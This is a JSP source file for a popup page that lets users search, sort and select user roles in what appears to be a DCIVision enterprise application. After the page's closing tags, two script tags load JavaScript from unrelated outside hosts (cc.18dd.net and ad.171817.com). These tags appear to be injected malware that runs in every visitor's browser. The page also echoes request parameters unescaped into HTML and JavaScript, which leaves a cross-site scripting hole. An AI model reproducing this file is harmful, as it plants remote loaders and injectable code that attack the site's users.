<%
/*
 * @(#)PopupUserRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  PopupUserRecord.jsp

  This page is for selecting a user record from the list of all user records.

    @author           Wong Yam Lee
    @company          DCIVision Limited
    @creation date    12/08/2003
    @version          $Revision: 1.5.4.9 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.user.web.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listUserRoleForm" scope="request" class="com.dcivision.user.web.ListUserRoleForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "userRoleList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"user.columnheader.role_name", "ROLE_NAME"},
                            {"user.columnheader.role_desc", "ROLE_DESC"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"user.label.role_name", "ROLE_NAME"},
                            {"user.label.role_desc", "ROLE_DESC"}
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

   List listRole = (List) request.getAttribute(ListUserGroupAction.VAR_USER_ROLE_LIST);

   try {
    /* Select the corresponding preference style */
    String preferenceID = sessionContainer.getPreference();
    if (preferenceID==null) {
      preferenceID = SystemParameterFactory.getSystemParameter(SystemParameterConstant.PREFERENCE);
    }
%>

<html>
<head>
  <title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
  <meta http-equiv="Pragma" content="no-cache">
  <meta http-equiv="Cache-Control" content="no-cache">
  <meta http-equiv="Expires" content="0">
  <!-- Common Stylesheet Begin -->
  <link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
  <!-- Common Stylesheet End -->
<script language="Javascript">
  <jsp:include page="/js/Variable.jsp"/>
</script>
</head>
<body bgcolor="#FFFFFF" text="#000000" leftmargin="10" topmargin="10" marginwidth="10" marginheight="10" link="#000000" vlink="#000000" alink="#000000">
<!-- Form Section Begin -->
<html:form action="user/PopupUserRole" method="post">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<input type='hidden' name='form' value='<%=request.getParameter("form")%>'>
<input type='hidden' name='property' value='<%=request.getParameter("property")%>'>

<br>
<!-- Search Panel Begin -->
<table cellpadding="2" cellspacing="0" border="0" width="100%" background="<html:img src='LayoutFinderBg.gif'  pathOnly='true'/>">
  <tr>
    <td width="10">
      <nobr><b>&nbsp;<bean:message key='common.label.search'/></b></nobr>
    </td>
    <td>
      <html:select property="basicSearchField">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
      <html:select property='basicSearchType'>
        <html:options listName='criteriaList'/>
      </html:select>
      <html:text property='basicSearchKeyword' size='25' maxlength='100'/>
      <html:standardButton label="common.label.search" onClick="return(OpList(listUserRoleForm, '${listUserRoleForm.sortAttribute}', '${listUserRoleForm.sortOrder}'))"/>
      <html:standardButton label="common.label.reset" onClick="return(OpListReset(listUserRoleForm))"/>
    </td>
  </tr>
</table>
<!-- Search Panel End -->
<html:img src='LayoutSpacer.gif'  width='1' height='20'/>

<!-- Table Showing Record List Begin -->
<table class="mainTable" cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td><table cellpadding="3" cellspacing="1" border="0" width="100%">
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listUserRoleForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listUserRoleForm.getSortAttribute()%>" sortOrder="<%=listUserRoleForm.getSortOrder()%>" checkColumn="false" editColumn="false" copyColumn="false"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="userRole" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)userRole).getID()%>);">
    <td nowrap>
   <a href="javascript:void(0);" onclick="OpSetRecordID('<bean:write name='userRole' property='ID'/>', '<%=TextUtility.escapeJSString(((UserRole)userRole).getRoleName()) %>', '<%=request.getParameter("property")%>', '<%=request.getParameter("form")%>');">
    <bean:write name='userRole' property='roleName'/></a>
    </td>
    <td><bean:write name='userRole' property='roleDesc'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='userRole' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='userRole' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <layout:pager form="listUserRoleForm" name='<%=LIST_NAME%>'>
  <tr class="listContent">
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
      <table width="100%" cellpadding="0" cellspacing="0" border="0">
        <tr>
          <td width="200">&nbsp;</td>
          <td align="center">
            <layout:pagerInfo/>
          </td>
          <td width="200" align="right">
            <nobr><layout:pagerIndex/></nobr>
          </td>
        </tr>
      </table>
    </td>
  </tr>
  </layout:pager>
  <!-- Pager Information End -->
</table>
</td></tr></table>
<!-- Table Showing Record List End -->

</html:form>
<!-- Form Section End -->
<center>
<br>
<html:standardButton label="common.label.reset" onClick="OpSetRecordID('', '', '${param.property}', '${param.form}')"/>
<html:standardButton label="common.label.close" onClick="self.close();return(false);"/>
</center>
</body>
</html>

<%
  } catch (Exception e) {
    out.println(e.toString());
    LogFactory.getLog(this.getClass()).error(e, e);
  }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>